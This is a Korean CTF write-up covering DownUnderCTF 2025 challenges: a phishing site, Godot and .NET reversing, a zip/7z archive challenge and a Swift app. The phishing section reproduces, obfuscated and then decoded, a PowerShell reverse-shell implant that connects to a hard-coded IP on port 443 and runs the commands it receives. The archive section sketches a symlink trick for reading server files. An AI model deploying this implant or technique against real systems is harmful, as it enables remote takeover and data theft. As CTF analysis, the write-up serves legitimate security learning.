
배경
RubiyaLab CTF
팀으로 DownUnderCTF 2025
에 참여하게 되었습니다.
기간 : 2025-07-05 09:00 ~ 2025-07-07 21:00 (KST)
문제 목록
Fishy Website
-misc 점수 - 112점, 푼 팀 - 211/1242팀
godot
-rev 점수 - 180점, 푼 팀 - 96/1242팀
YoDawg
-misc 점수 - 147점, 푼 팀 - 141/1242팀
Unsolved
dualzip
-misc 점수 - 449점, 푼 팀 - 3/1242팀
SwiftPasswordManager: LoadMe
-rev 점수 - 253점, 푼 팀 - 41/1242팀
Fishy Website
문제 상황
사이트 주소와 wireshark
패킷 파일이 주어지면서, 로그인을 시도했더니 컴퓨터가 이상해졌다는 문제가 주어졌습니다.
사이트에 접속해보니 로그인 창이 떴으며, 어떤 값을 입력하고 로그인 버튼을 누르면 Win + R
및 특정 커멘드를 쳐서 2차 인증을 하라는 피싱 사이트였습니다.
분석 과정
Win + R
을 통해 주어진 스크립트를 실행하면, .../verify/script
에 접속해 스크립트를 실행하게 되어 있었습니다.
.../verify/script
에는 위와 같은 코드가 있었으며, 다음처럼 복호화 하였습니다.
$BBB88B8B888BBB88 = 0xf1,
0x6e,
0xcd,
0xc6,0x79,0x4c,0x66,0xd1,0x02,
0xf8,0x33,0xc4,0x86,
0xe7,0xa4,
0x35,0x8d,
0x69,0xbd,0xd2,0x1d,0x50,0xf5,0xfb,0xdf,0xec,0xaf,
0x0b,0x9e,0x53,
0xa4,0xd3
function IIlIlIlIllIIllIl {
param([int[]]$BBBB8888BBBBB8BB, [int]$BB8BB8B8BBB8B8B8)
$B8B8B8B8B8B8B8BB = ""
foreach ($B888BB88888BBBBB in $BBBB8888BBBBB8BB) {
$B8B8B8B8B8B8B8BB += [char]($B888BB88888BBBBB -bxor $BB8BB8B8BBB8B8B8)
}
return $B8B8B8B8B8B8B8BB
}
function lIIIlllIIIIllllI {
param (
[byte[]]$B8BBB8B8BB8BBB88,
[byte[]]$BBB8BBB8B88B88B8
)
$BBB88BB88BB8BBB8 = 0..255
$B888B8BB888BB88B = 0
for ($B8BB8BBB8BB8BBBB = 0; $B8BB8BBB8BB8BBBB -lt 256; $B8BB8BBB8BB8BBBB++) {
$B888B8BB888BB88B = ($B888B8BB888BB88B + $BBB88BB88BB8BBB8[$B8BB8BBB8BB8BBBB] + $B8BBB8B8BB8BBB88[$B8BB8BBB8BB8BBBB % $B8BBB8B8BB8BBB88.Length]) % 256
$BBB88BB88BB8BBB8[$B8BB8BBB8BB8BBBB], $BBB88BB88BB8BBB8[$B888B8BB888BB88B] = $BBB88BB88BB8BBB8[$B888B8BB888BB88B], $BBB88BB88BB8BBB8[$B8BB8BBB8BB8BBBB]
}
$B8BB8BBB8BB8BBBB = 0
$B888B8BB888BB88B = 0
$BBBBB8BBB8BBB88B = @()
foreach ($BBBB88888B888BBB in $BBB8BBB8B88B88B8) {
$B8BB8BBB8BB8BBBB = ($B8BB8BBB8BB8BBBB + 1) % 256
$B888B8BB888BB88B = ($B888B8BB888BB88B + $BBB88BB88BB8BBB8[$B8BB8BBB8BB8BBBB]) % 256
$BBB88BB88BB8BBB8[$B8BB8BBB8BB8BBBB], $BBB88BB88BB8BBB8[$B888B8BB888BB88B] = $BBB88BB88BB8BBB8[$B888B8BB888BB88B], $BBB88BB88BB8BBB8[$B8BB8BBB8BB8BBBB]
$B88BBB888BBB88B8 = $BBB88BB88BB8BBB8[($BBB88BB88BB8BBB8[$B8BB8BBB8BB8BBBB] + $BBB88BB88BB8BBB8[$B888B8BB888BB88B]) % 256]
$BBBBB8BBB8BBB88B += ($BBBB88888B888BBB -bxor $B88BBB888BBB88B8)
}
return ,$BBBBB8BBB8BBB88B
}
function lllIIlIIlIllllll {
param ([string]$B888BBBBB8B8B8BB)
$B888B8B8B88B8BB8 = [System.Text.Encoding]::UTF8.GetBytes($B888BBBBB8B8B8BB)
$BBBB8888BBBBB8BB = (lIIIlllIIIIllllI -B8BBB8B8BB8BBB88 $BBB88B8B888BBB88 -BBB8BBB8B88B88B8 $B888B8B8B88B8BB8) + (0x02,0x04,0x06,0x08)
$B88BBBBBB888888B = [System.BitConverter]::GetBytes([int16]$BBBB8888BBBBB8BB.Length)
[Array]::Reverse($B88BBBBBB888888B)
return (0x17, 0x03, 0x03) + $B88BBBBBB888888B + $BBBB8888BBBBB8BB
}
function llIIlllllIIIlllI {
$B88B888B8888B888 = (IIlIlIlIllIIllIl -BBBB8888BBBBB8BB @(168,187,172,183,184,167,240,186,171,169,176,177,176,186,187,172,240,189,177,179) -BB8BB8B8BBB8B8B8 222)
$BBBB8B8BB888B88B = [System.Text.Encoding]::ASCII.GetBytes($B88B888B8888B888)
$BB88BBBB88B8888B = [byte[]] ([BitConverter]::GetBytes([UInt16]$BBBB8B8BB888B88B.Length))
[Array]::Reverse($BB88BBBB88B8888B)
$B88888B888888BB8 = @(0x00) + $BB88BBBB88B8888B + $BBBB8B8BB888B88B
$BB8BBBB8B8888BB8 = [byte[]] ([BitConverter]::GetBytes([UInt16]$B88888B888888BB8.Length))
[Array]::Reverse($BB8BBBB8B8888BB8)
$B8888B88BB888B88 = $BB8BBBB8B8888BB8 + $B88888B888888BB8
$B888B888BBB8B8BB = [byte[]] ([BitConverter]::GetBytes([UInt16]$B8888B88BB888B88.Length))
[Array]::Reverse($B888B888BBB8B8BB)
$B8BB88BBBB8B88B8 = @(0x00,
0x00) + $B888B888BBB8B8BB + $B8888B88BB888B88
$BBBB88B8BB88B88B = @(0x00, 0x0b,0x00,0x04,0x03,0x00,0x01,0x02,
0x00,0x0a,0x00,0x16,0x00,0x14,0x00,0x1d,0x00,0x17,0x00,0x1e,0x00,0x19,0x00,0x18,0x01,0x00,0x01,0x01,0x01,0x02,0x01,0x03,0x01,0x04,
0x00,0x23,0x00,0x00,
0x00,0x16,0x00,0x00,
0x00,0x17,0x00,0x00,
0x00,0x0d,0x00,0x1e,0x00,0x1c,0x04,0x03,0x05,0x03,0x06,0x03,0x08,0x07,0x08,0x08,0x08,0x09,0x08,0x0a,0x08,0x0b,0x08,0x04,0x08,0x05,0x08,0x06,0x04,0x01,0x05,0x01,0x06,0x01,
0x00,0x2b,0x00,0x03,0x02,0x03,0x04,
0x00,0x2d,0x00,0x02,0x01,0x01,
0x00,0x33,0x00,0x26,0x00,0x24,0x00,0x1d,0x00,0x20,
0x35,0x80,0x72,0xd6,0x36,0x58,0x80,0xd1,0xae,0xea,0x32,0x9a,0xdf,0x91,0x21,0x38,0x38,0x51,0xed,0x21,0xa2,0x8e,0x3b,0x75,0xe9,0x65,0xd0,0xd2,0xcd,0x16,0x62,0x54)
$BB88BB8BB88BB88B = $B8BB88BBBB8B88B8 + $BBBB88B8BB88B88B
$BBBB8B88888888B8 = [byte[]] ([BitConverter]::GetBytes([UInt16]$BB88BB8BB88BB88B.Length))
[Array]::Reverse($BBBB8B88888888B8)
$B8888BBB888B8888 = @(0x03,0x03,0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x0c,
0x0d,0x0e,0x0f,
0x10,0x11,0x12,0x13,0x14,0x15,0x16,0x17,
0x18,
0x19,0x1a,0x1b,0x1c,0x1d,0x1e,0x1f,0x20,0xe0,0xe1,
0xe2,0xe3,0xe4,0xe5,0xe6,0xe7,0xe8,0xe9,0xea,0xeb,0xec,0xed,0xee,0xef,0xf0,0xf1,0xf2,0xf3,0xf4,0xf5,0xf6,0xf7,0xf8,0xf9,0xfa,
0xfb,0xfc,0xfd,0xfe,0xff,0x00,0x08,0x13,0x02,0x13,0x03,0x13,0x01,0x00,0xff,0x01,0x00)
$BB8B8BBBB88B8B8B = $B8888BBB888B8888 + $BBBB8B88888888B8 + $BB88BB8BB88BB88B
$BB8BBB88B8B8B888 = [byte[]] ([BitConverter]::GetBytes($BB8B8BBBB88B8B8B.Length))
[Array]::Reverse($BB8BBB88B8B8B888)
$BBB88BBB888B8B8B = @(0x01) + $BB8BBB88B8B8B888[1..3] + $BB8B8BBBB88B8B8B
$B88B888B8BB8BBBB = [byte[]] ([BitConverter]::GetBytes([UInt16]$BBB88BBB888B8B8B.Length))
[Array]::Reverse($B88B888B8BB8BBBB)
$BBB888888BB88B88 = @(0x16,
0x03, 0x01) + $B88B888B8BB8BBBB + $BBB88BBB888B8B8B
return ,$BBB888888BB88B88
}
$BBBB8BBBBBB8B88B = New-Object System.Net.Sockets.TcpClient
$BBBB8BBBBBB8B88B.Connect((IIlIlIlIllIIllIl -BBBB8888BBBBB8BB @(5,7,25,2,25,3,15,25,5,7,7) -BB8BB8B8BBB8B8B8 55), ((50 * 9) - (11 * 2)) + [math]::Pow(2, 3) + [math]::Sqrt(49))
$BBBB888888B88BBB = $BBBB8BBBBBB8B88B.GetStream()
$BB88888BB8B8B8BB = llIIlllllIIIlllI
$BBBB888888B88BBB.Write($BB88888BB8B8B8BB, 0, $BB88888BB8B8B8BB.Length)
$B8B888BB8B8888BB = New-Object byte[] 16384
$BBBB888888B88BBB.Read($B8B888BB8B8888BB, 0, $B8B888BB8B8888BB.Length) | Out-Null
while ($true) {
$B8B888BB8B8888BB = New-Object byte[] 16384
try {
$B888BBB8B8B88B8B = $BBBB888888B88BBB.Read($B8B888BB8B8888BB, 0, 16384)
} catch {
break
}
$BBBB8888BBBBB8BB = $B8B888BB8B8888BB[5..($B888BBB8B8B88B8B - 1)]
$B8B88B8BB888BBB8 = [System.Text.Encoding]::UTF8.GetString((lIIIlllIIIIllllI -B8BBB8B8BB8BBB88 $BBB88B8B888BBB88 -BBB8BBB8B88B88B8 $BBBB8888BBBBB8BB))
if ($B8B88B8BB888BBB8 -eq (IIlIlIlIllIIllIl -BBBB8888BBBBB8BB @(109,112,97,124) -BB8BB8B8BBB8B8B8 8)) { break }
try {
$BB88B8B8BBBB888B = (Invoke-Expression $B8B88B8BB888BBB8 2>&1) | Out-String
} catch {
$BB88B8B8BBBB888B = (IIlIlIlIllIIllIl -BBBB8888BBBBB8BB @(186,141,141,144,141) -BB8BB8B8BBB8B8B8 255)
}
$BBBB8BB88BB888B8 = lllIIlIIlIllllll -B888BBBBB8B8B8BB $BB88B8B8BBBB888B.Trim()
$BBBB888888B88BBB.Write($BBBB8BB88BB888B8, 0, $BBBB8BB88BB888B8.Length)
}
$BBBB888888B88BBB.Close()
$BBBB8BBBBBB8B88B.Close()
해당 코드는 ai를 통해 난독화 해제하였습니다.
$RC4Key = 0xf1,0x6e,0xcd,0xc6, 0x79, 0x4c, 0x66, 0xd1, 0x02,0xf8, 0x33, 0xc4, 0x86,0xe7, 0xa4,0x35, 0x8d,0x69, 0xbd, 0xd2, 0x1d, 0x50, 0xf5, 0xfb, 0xdf, 0xec, 0xaf, 0x0b, 0x9e, 0x53,0xa4, 0xd3
# RC4 또는 유사한 XOR 기반 암호화/난독화에 사용되는 함수
function XORDecryptBytes {
param([int[]]$EncryptedBytes, [int]$XORKey)
$DecryptedString = ""
foreach ($Byte in $EncryptedBytes) {
$DecryptedString += [char]($Byte -bxor $XORKey)
}
return $DecryptedString
}
# RC4 암호화/복호화 알고리즘의 핵심 로직 (KSA 및 PRGA)
function RC4 {
param (
[byte[]]$Key,
[byte[]]$Data
)
$S = 0..255 | ForEach-Object { [byte]$_ } # S-box 초기화
$j = 0
for ($i = 0; $i -lt 256; $i++) {
$j = ($j + $S[$i] + $Key[$i % $Key.Length]) % 256
$S[$i], $S[$j] = $S[$j], $S[$i] # S-box 스왑
}
$i = 0
$j = 0
$Output = @()
foreach ($Byte in $Data) {
$i = ($i + 1) % 256
$j = ($j + $S[$i]) % 256
$S[$i], $S[$j] = $S[$j], $S[$i] # S-box 스왑
$K = $S[($S[$i] + $S[$j]) % 256]
$Output += ($Byte -bxor $K) # XOR 연산으로 데이터 복호화/암호화
}
return , $Output
}
# 명령을 암호화하여 전송 형식에 맞게 구성하는 함수
function EncodeAndEncryptCommand {
param ([string]$CommandString)
$CommandBytes = [System.Text.Encoding]::UTF8.GetBytes($CommandString)
# RC4 암호화 + 0x02, 0x04, 0x06, 0x08 바이트 추가 (패딩 또는 특정 프로토콜 포맷으로 추정)
$EncryptedCommandBytes = (RC4 -Key $RC4Key -Data $CommandBytes) + (0x02, 0x04, 0x06, 0x08)
$LengthBytes = [System.BitConverter]::GetBytes([int16]$EncryptedCommandBytes.Length)
[Array]::Reverse($LengthBytes) # Little-endian을 Big-endian으로 변환
# (0x17, 0x03, 0x03) 헤더 + 길이 + 암호화된 명령
return (0x17, 0x03, 0x03) + $LengthBytes + $EncryptedCommandBytes
}
# 초기 핸드셰이크 또는 초기 데이터 전송을 위한 메시지를 생성하는 함수
function GenerateInitialMessage {
# "GET / HTTP/1.1" 문자열을 XOR 복호화
$DecryptedString = (XORDecryptBytes -EncryptedBytes @(168, 187, 172, 183, 184, 167, 240, 186, 171, 169, 176, 177, 176, 186, 187, 172, 240, 189, 177, 179) -XORKey 222) # "GET / HTTP/1.1`r`nHost: "
$AsciiBytes = [System.Text.Encoding]::ASCII.GetBytes($DecryptedString)
$LengthBytes1 = [byte[]] ([BitConverter]::GetBytes([UInt16]$AsciiBytes.Length))
[Array]::Reverse($LengthBytes1)
$Part1 = @(0x00) + $LengthBytes1 + $AsciiBytes
$LengthBytes2 = [byte[]] ([BitConverter]::GetBytes([UInt16]$Part1.Length))
[Array]::Reverse($LengthBytes2)
$Part2 = $LengthBytes2 + $Part1
$LengthBytes3 = [byte[]] ([BitConverter]::GetBytes([UInt16]$Part2.Length))
[Array]::Reverse($LengthBytes3)
$Part3 = @(0x00, 0x00) + $LengthBytes3 + $Part2
# 고정된 바이트 배열 (추가적인 프로토콜 헤더 또는 데이터로 추정)
$FixedBytes = @(0x00, 0x0b, 0x00, 0x04, 0x03, 0x00, 0x01, 0x02, 0x00, 0x0a, 0x00, 0x16, 0x00, 0x14, 0x00, 0x1d, 0x00, 0x17, 0x00, 0x1e, 0x00, 0x19, 0x00, 0x18, 0x01, 0x00, 0x01, 0x01, 0x01, 0x02, 0x01, 0x03, 0x01, 0x04, 0x00, 0x23, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x1e, 0x00, 0x1c, 0x04, 0x03, 0x05, 0x03, 0x06, 0x03, 0x08, 0x07, 0x08, 0x08, 0x08, 0x09, 0x08, 0x0a, 0x08, 0x0b, 0x08, 0x04, 0x08, 0x05, 0x08, 0x06, 0x04, 0x01, 0x05, 0x01, 0x06, 0x01, 0x00, 0x2b, 0x00, 0x03, 0x02, 0x03, 0x04, 0x00, 0x2d, 0x00, 0x02, 0x01, 0x01, 0x00, 0x33, 0x00, 0x26, 0x00, 0x24, 0x00, 0x1d, 0x00, 0x20, 0x35, 0x80, 0x72, 0xd6, 0x36, 0x58, 0x80, 0xd1, 0xae, 0xea, 0x32, 0x9a, 0xdf, 0x91, 0x21, 0x38, 0x38, 0x51, 0xed, 0x21, 0xa2, 0x8e, 0x3b, 0x75, 0xe9, 0x65, 0xd0, 0xd2, 0xcd, 0x16, 0x62, 0x54)
$CombinedBytes = $Part3 + $FixedBytes
$LengthBytes4 = [byte[]] ([BitConverter]::GetBytes([UInt16]$CombinedBytes.Length))
[Array]::Reverse($LengthBytes4)
# 또 다른 고정된 바이트 배열
$AnotherFixedBytes = @(0x03, 0x03, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef, 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff, 0x00, 0x08, 0x13, 0x02, 0x13, 0x03, 0x13, 0x01, 0x00, 0xff, 0x01, 0x00)
$FinalCombinedBytes = $AnotherFixedBytes + $LengthBytes4 + $CombinedBytes
$FinalLengthBytes = [byte[]] ([BitConverter]::GetBytes($FinalCombinedBytes.Length))
[Array]::Reverse($FinalLengthBytes)
$ProtocolMessagePart1 = @(0x01) + $FinalLengthBytes[1..3] + $FinalCombinedBytes
$ProtocolMessageLengthBytes = [byte[]] ([BitConverter]::GetBytes([UInt16]$ProtocolMessagePart1.Length))
[Array]::Reverse($ProtocolMessageLengthBytes)
# 최종 프로토콜 메시지 (0x16, 0x03, 0x01 헤더 + 길이 + 메시지 데이터)
$FinalProtocolMessage = @(0x16, 0x03, 0x01) + $ProtocolMessageLengthBytes + $ProtocolMessagePart1
return , $FinalProtocolMessage
}
# 메인 실행 로직
$TCPClient = New-Object System.Net.Sockets.TcpClient
# 호스트와 포트 연결
# 호스트: "23.254.204.227" (XOR 복호화)
# 포트: (50 * 9) - (11 * 2)) + 2^3 + sqrt(49) = 450 - 22 + 8 + 7 = 443 (HTTPS 기본 포트)
$TCPClient.Connect((XORDecryptBytes -EncryptedBytes @(5, 7, 25, 2, 25, 3, 15, 25, 5, 7, 7) -XORKey 55), ((50 * 9) - (11 * 2)) + [math]::Pow(2, 3) + [math]::Sqrt(49))
$NetworkStream = $TCPClient.GetStream()
# 초기 메시지 생성 및 전송
$InitialMessage = GenerateInitialMessage
$NetworkStream.Write($InitialMessage, 0, $InitialMessage.Length)
# 초기 응답 읽기 (16384 바이트)
$ResponseBuffer = New-Object byte[] 16384
$NetworkStream.Read($ResponseBuffer, 0, $ResponseBuffer.Length) | Out-Null # 읽은 데이터는 사용되지 않음
# 무한 루프: C2 서버로부터 명령을 받고 실행 후 결과를 다시 전송
while ($true) {
$ResponseBuffer = New-Object byte[] 16384 # 버퍼 초기화
try {
# 네트워크 스트림에서 데이터 읽기
$BytesRead = $NetworkStream.Read($ResponseBuffer, 0, 16384)
}
catch {
# 읽기 실패 시 루프 종료
break
}
# 수신된 바이트에서 실제 데이터 부분 추출 (5바이트 오프셋부터 시작)
$EncryptedReceivedCommand = $ResponseBuffer[5..($BytesRead - 1)]
# RC4 복호화 후 UTF8 문자열로 변환
$DecryptedCommand = [System.Text.Encoding]::UTF8.GetString((RC4 -Key $RC4Key -Data $EncryptedReceivedCommand))
# "exit" 명령 수신 시 루프 종료
if ($DecryptedCommand -eq (XORDecryptBytes -EncryptedBytes @(109, 112, 97, 124) -XORKey 8)) { break } # "exit"
try {
# 복호화된 명령을 Invoke-Expression으로 실행하고 결과를 문자열로 캡처
$CommandOutput = (Invoke-Expression $DecryptedCommand 2>&1) | Out-String
}
catch {
# 명령 실행 중 오류 발생 시 "Error" 메시지 반환
$CommandOutput = (XORDecryptBytes -EncryptedBytes @(186, 141, 141, 144, 141) -XORKey 255) # "Error"
}
# 명령 실행 결과를 암호화하여 전송 형식에 맞게 구성
$EncodedEncryptedOutput = EncodeAndEncryptCommand -CommandString $CommandOutput.Trim()
# 암호화된 결과 전송
$NetworkStream.Write($EncodedEncryptedOutput, 0, $EncodedEncryptedOutput.Length)
}
# 연결 종료
$NetworkStream.Close()
$TCPClient.Close()
특정 서버와 연결해, 네트워크로 받은 값을 기반으로 커멘드를 실행하고 값을 보내는 스크립트입니다.
저는 이 이후에 $TCPClient.Connect((XORDecryptBytes -EncryptedBytes...
부분을 조작해 여러 시도를 하였지만 실패하였습니다.
- wireshark에 있는 주소로 해당 값을 변경함 - 해당 ip가 살아있지 않음
- 스크립트를 다운로드 받은 서버의 ip로 설정함 - 로그인 페이지가 불러와짐…
여러 시도 끝에, 그냥 wireshark의 패킷을 복호화하는것이라는것을 알아냈으며, wireshark 내부의 데이터를 복호화하여 풀 수 있었습니다.
godot
문제 상황
godot
게임 파일이 주어졌으며, 게임을 클리어하기에는 조금 힘들었습니다.
분석 과정
주어진 리소스 파일을 언패킹 시도하였습니다.
리소스 파일은 키가 필요했으며, PCKExplorer 레포지토리 내부의 bruteforcer를 빌드하여 실행해 키를 알아냈습니다.
나온 키를 이용해 언패킹을 시도했는데, 리소스 파일에 플래그나 게임 클리어 판정이 없는듯해보였습니다.
보다 보니, 기본적으로 배치되는 타일이 뭔가 낭비되는것이 있어보였고, visualizer로 그림으로 그려보니 플래그가 나왔습니다.
아래는 팀원(S1NS4 신사님)이 도와주어 나온 이미지입니다
언패킹 이후에 안 내용인데, 콘솔창을 이용해 게임을 런칭시키면 콘솔창에 로그가 뜨게 되면서, 어떤 좌표에 블럭이 배치되는지 확인 가능해 플래그를 얻을 수 있었습니다. |
YoDawg
문제 상황
ctf
시뮬레이터 닷넷 앱이었습니다.
분석 과정
dnspy
를 통해 플래그 인증 체크 함수를 무조건 true로 두었습니다.- 새로운 창이 떠서 새로운
ctf
창이 뜨길레 로직을 보았습니다. 전역 변수에 있는 값을 이용해aes/cbc
복호화 하여 체크하는 로직들이 있었습니다. - 새로운 창 관련 로직을 보다 보니 수상한 메세지가 있었습니다. 여러 줄에 나누어 출력하는것을 보고 의심해 복호화하였으며, 플래그였습니다.
des키 - hack\00\00\00\00
aes키 - qwertyuiopasdfghjklzxcvbnmNOSURF
, iv - 0123456789DUCTF!
dualzip
문제 상황
압축을 풀어, 압축 풀린 파일을 다시 압축해 반환해주는 홈페이지의 소스코드가 담긴 문제입니다.
지원하는 압축 확장자는 zip, 7z이며 파이썬 프로그램이었습니다.
풀이
zip파일은 심볼릭 링크를 마음대로 설정할 수 있고, 7z파일은 압축 파일 분할을 이용해
zip의 심볼릭 링크 기능을 이용해 /flag -> ./archive.z02
파일을 만든 다음
archive.zip
을 7z
을 이용해 압축 해제하려 할 때 /flag
의 내용을 읽을 수 있다고 합니다.
플로우
unzip
을 이용해/temp/A_sha/../B_sha.z01
,/temp/A_sha/../B_sha.z02
파일을 생성한다. 이때z02
파일은/flag
의 심볼릭 링크이다.un7z
을 이용해/temp/B_sha.zip
을 떨군 다음,B_sha.z01
,z02
와 함께 압축을 해제한 뒤 다시 압축하여 전송한다.
A
파일을 통해B_sha.z02
파일을 떨구기 위해B_sha
를 지정합니다.임시데이터 + 압축 파일 엔트리 헤더
로B.zip
을 떨굴 예정입니다.- 압축 파일 분할 시,
z01
이 첫번째 파일,z..
이 다음 파일,zip
이 마지막 파일이 됩니다. - 파일 엔트리 관련 헤더는
z01
에 위치하게 됩니다.
B.zip
관련 헤더를 넣어z01
파일을 생성합니다.../B_sha.z01
,z02
를 생성하는A.zip
을 생성합니다.
분할 압축 데이터 관련 스펙을 직접 확인해야 하고, zip을 통해 파일을 드랍하기 위해 zip 임의 조작이 필요합니다. |
저는 zip을 통해 파일을 드랍하는것까지 예상하였으나, 드랍된 파일을 다시 압축하는 방법을 생각하지 못했습니다. |
SwiftPasswordManager: LoadMe
문제 상황
주어진 Swift앱의 save기능을 이용해 데이터를 데이터를 저장한 파일이 주어졌습니다.
분석 과정
실행 가능한 바이너리가 주어진 줄 모르고 save된 파일만 뜯어보았습니다.
알고보니 이 문제의 이전 단계 문제가 존재해, 해당 바이너리를 리버싱하는 문제였습니다.
풀이
load는 구현되어있지 않지만 save는 구현되어 있는 듯 합니다.
save 관련 문자열을 찾아 레퍼런스를 따라가면 다음과 같은 함수가 뜹니다.
기드라나 아이다로 열어봐도 디맹글이 제대로 되지 않는 모습입니다. 전용 디컴파일러를 찾아 실행해보았습니다.
Malimite **IOS 전용인지 윈도우나 리눅스로 구동이 되지 않았습니다
해결 실패 |
작성자의 글
- 호환되지 않은 툴이 많아 시간이 많이 소모되었던 것 같습니다.